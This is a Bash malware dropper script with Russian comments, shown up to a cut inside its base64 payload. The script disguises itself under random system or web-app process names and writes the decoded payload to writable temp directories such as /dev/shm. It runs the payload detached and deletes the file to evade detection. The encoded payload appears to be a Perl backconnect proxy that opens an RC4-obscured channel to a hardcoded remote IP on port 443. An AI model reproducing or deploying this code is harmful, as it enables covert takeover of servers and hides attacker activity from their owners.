#!/bin/bash
# Настройки
RESTART_INTERVAL=36000000 # Перезапуск цикла каждые ~20 минут +
# Список маскировочных имен
REAL_NAMES=(
"kworker/u8:0"
"php-fpm: pool www"
"apache2-handler"
"nginx: worker process"
"systemd-journald"
"rsyslogd"
"cron"
"dbus-daemon --system"
"mysqld_safe"
"php-cgi"
"gnome-keyring-daemon"
"eccredit"
"ebank_ok"
"dutiesEN"
"dividers"
"dhtmlext"
"del_site"
"defaults"
"default1"
"de_prova"
"db_stats"
"db_input"
"db_ecard"
"customer"
"cust_add"
"cron.bak"
"criminel"
"cp.topic"
"consulta"
"connexio"
"choosing"
"checknew"
"charsets"
"cateddel"
"cat_lang"
"campaign"
"calligra"
"cachefix"
"blogpage"
"basic4gl"
"backuphw"
"backendt"
"awardsEN"
"avisynth"
"automail"
"arteddel"
"archiver"
"archive1"
"am.topic"
"alertpay"
"ajobpost"
"aidonate"
"agenda23"
"advisory"
"advisors"
"advcache"
"ads_edit"
"adminlog"
"adminlib"
"admin.k2"
"addgroup"
"add_site"
"adaptive"
"activity"
"activate"
"acc_user"
"_default"
"TimeZone"
"ThreeWay"
"SmartIRC"
"Reposter"
"Products"
"Partners"
"MimeList"
"MaxDepth"
"Main.dwt"
"Link.inc"
"Kontakty"
"HtAccess"
"HMACSHA1"
"FreeSans"
"Download"
"Contacts"
"3dsecure"
"partition"
"invocactf"
"view.html"
"installer"
"component"
"functions"
"publisher"
"blog_item"
"guestbook"
"languages"
"CHANGELOG"
"view.feed"
"connector"
"fckeditor"
"COPYRIGHT"
"testForms"
"framework"
"customers"
"pagebreak"
"newsfeeds"
"frontpage"
"countries"
"tax_rates"
"geo_zones"
"mod_login"
"index_def"
"dig_exhib"
"Thumbnail"
"mod_stats"
"workshop1"
"viewtopic"
"viewforum"
"uninstall"
"Translate"
"timetable"
"simplepie"
"phpcompat"
"index.bak"
"downloads"
"xstandard"
"templates"
"str_split"
"resources"
"register8"
"register7"
"register6"
"register5"
"register4"
"register3"
"register2"
"register1"
"phpmailer"
"freesansi"
"freesansb"
"cyec_2002"
"constants"
"committee"
"beginedit"
"Composite"
"usergroup"
"timezones"
"thankform"
"proj_cord"
"page_info"
"mainframe"
"itransact"
"crypt.inc"
"adodb.inc"
"Transform"
"ParseHTML"
"Extension"
"Exception"
"wish_list"
"thumbs_up"
"tbl_alter"
"ssl_check"
"slideshow"
"simplexml"
"separator"
"recordset"
"parameter"
"pagerTest"
"mtupgrade"
"mod_title"
"menutypes"
"is_scalar"
"index.inc"
"imagelist"
"imageTest"
"helpsites"
"groupperm"
"filenames"
"extension"
"exception"
"directory"
"db_create"
"configure"
"changelog"
"TrustRoot"
"SafeEmbed"
"Interface"
"Highlight"
"Globalvar"
"FileStore"
"DumbStore"
"CryptUtil"
"Attribute"
"workshop5"
"workshop4"
"workshop3"
"userstats"
"shop_give"
"postgres7"
"portfolio"
"pdf_pages"
"mainFrame"
"level_mod"
"lang_main"
"itemslist"
"hungarian"
"helvetica"
"findusers"
"db_search"
"db_import"
"db_export"
"dashboard"
"contactus"
"arena_log"
"album_pic"
"album_cat"
"adr_vault"
"adr_shops"
"adr_forge"
"URIScheme"
"URIParser"
"URIFilter"
"Scripting"
"ListStyle"
"LinkTypes"
"Lib.class"
"Hypertext"
"Generator"
"EnumToCSS"
"Directive"
"DirectLex"
"Decorator"
"Chameleon"
"BoolToCSS"
"AttrTypes"
"xoopsuser"
"xoopstree"
"xmlrpctag"
"xmlrpcapi"
"wholesale"
"usps_test"
"trackback"
"thinbasic"
"themeform"
"tableform"
"tabledata"
"sql_parse"
"smalltalk"
"skipfiles"
"saxparser"
"salemaker"
"pluggable"
"patronato"
"page_tail"
"ot_points"
"ot_coupon"
"oninstall"
"my_config"
"menu_left"
"mailusers"
"freebasic"
"formradio"
"formlabel"
"fonctions"
"exif_data"
"ele_tarea"
"ele_radio"
"ele_check"
"edit_link"
"edit_data"
"cp_header"
"copyimage"
"com_sobi2"
"com_mtree"
"class.tar"
"canonical"
"bulgarian"
"benchmark"
"auth_ldap"
"admin.inc"
"add_data2"
"VarParser"
"Validator"
"SafeParam"
"QuickHtml"
"QuickForm"
"Portfolio"
"Parameter"
"ITDynamic"
"Guestbook"
"BoxesPage"
"Bootstrap"
"AdminPage"
"yahoonews"
"xorg_conf"
"xoopsload"
"xoopsfile"
"xoops.inc"
"xmlparser"
"xajax.inc"
"whats_new"
"warpedit3"
"warpedit2"
"vote_pool"
"vote2.tpl"
"vlweather"
"viva_zoom"
"view_note"
"view_func"
"view_cart"
"view.list"
"video.inc"
"utilities"
"users_add"
"userblock"
"user_item"
"user_edit"
"userGroup"
"uploadPDF"
"update_hw"
"update025"
"update021"
"update012"
"unzip.lib"
"unzip.inc"
"tutte_mod"
"translate"
"toplayout"
"tools.inc"
"testmssql"
"testgenid"
"testcache"
"termspage"
"tempfiles"
"tcp.class"
"tasks.inc"
"tag_cloud"
"table.vat"
"swfobject"
"supprfile"
"subscribe"
"style.bak"
"statpress"
"sqlupdate"
"sql.class"
"spotlight"
"spcc_mail"
"sp_resize"
"sp_editor"
"sp_config"
"sounds.js"
"smileform"
"smf20.inc"
"smf10.inc"
"slovenian"
"sitestats"
"sitesetup"
"siteprefs"
"siteMapEN"
"singlepic"
"single_ad"
"showthumb"
"show_info"
"shortcode"
"shopzilla"
"sharethis"
"setgrands"
"searchnew"
"searchbar"
"scripting"
"screen_06"
"screen_05"
"screen_04"
"screen_03"
"screen_02"
"screen_01"
"scheduler"
"sched_tow"
"sched_igb"
"root_path"
"risultati"
"rightmenu"
"reviewcom"
"reminders"
"referrals"
"redirect5"
"read_dump"
"rateimage"
"ranks.inc"
"quotation"
"qihoo.inc"
"publickey"
"publicity"
"publiccat"
"prune.inc"
"protector"
"post_note"
"popup_ask"
"pollshome"
"pluginmgr"
"pj_search"
"picEditor"
"phpbb.inc"
)
get_stealth_name() {
local size=${#REAL_NAMES[@]}
local index=$((RANDOM % size))
echo ".${REAL_NAMES[$index]}_$(date +%s)"
}
get_work_dir() {
local paths=(
"/dev/shm"
"."
"/tmp"
"/var/tmp"
"/var/lock"
"/run/lock"
"/usr/tmp"
"/var/www/html/tmp"
"/var/www/tmp"
"$HOME/tmp"
)
for d in "${paths[@]}"; do
if [ -d "$d" ] && [ -w "$d" ] && [ -x "$d" ]; then
echo "$d"
return
fi
done
exit 1
}
decode_payload() {
if command -v base64 >/dev/null 2>&1; then base64 -d
elif command -v openssl >/dev/null 2>&1; then openssl enc -d -a
elif command -v python3 >/dev/null 2>&1; then python3 -c "import sys, base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))"
elif command -v perl >/dev/null 2>&1; then perl -MMIME::Base64 -ne 'print decode_base64($_)'
else exit 1; fi
}
drop_and_run() {
local payload_func=$1
local work_dir
local stealth_name
work_dir=$(get_work_dir)
stealth_name=$(get_stealth_name)
local target="$work_dir/$stealth_name"
$payload_func | decode_payload > "$target" 2>/dev/null
if [ -s "$target" ]; then
chmod +x "$target"
(
launched=0
if [ $launched -eq 0 ] && command -v setsid >/dev/null 2>&1; then
setsid "$target" >/dev/null 2>&1 &
launched=1
fi
if [ $launched -eq 0 ] && command -v nohup >/dev/null 2>&1; then
nohup "$target" >/dev/null 2>&1 &
launched=1
fi
if [ $launched -eq 0 ]; then
"$target" >/dev/null 2>&1 &
disown -h $! 2>/dev/null || true
launched=1
fi
# Зачистка: даем время на запуск и удаляем файл
sleep 3
rm -f "$target"
) &
fi
}
bin_0() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTknOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
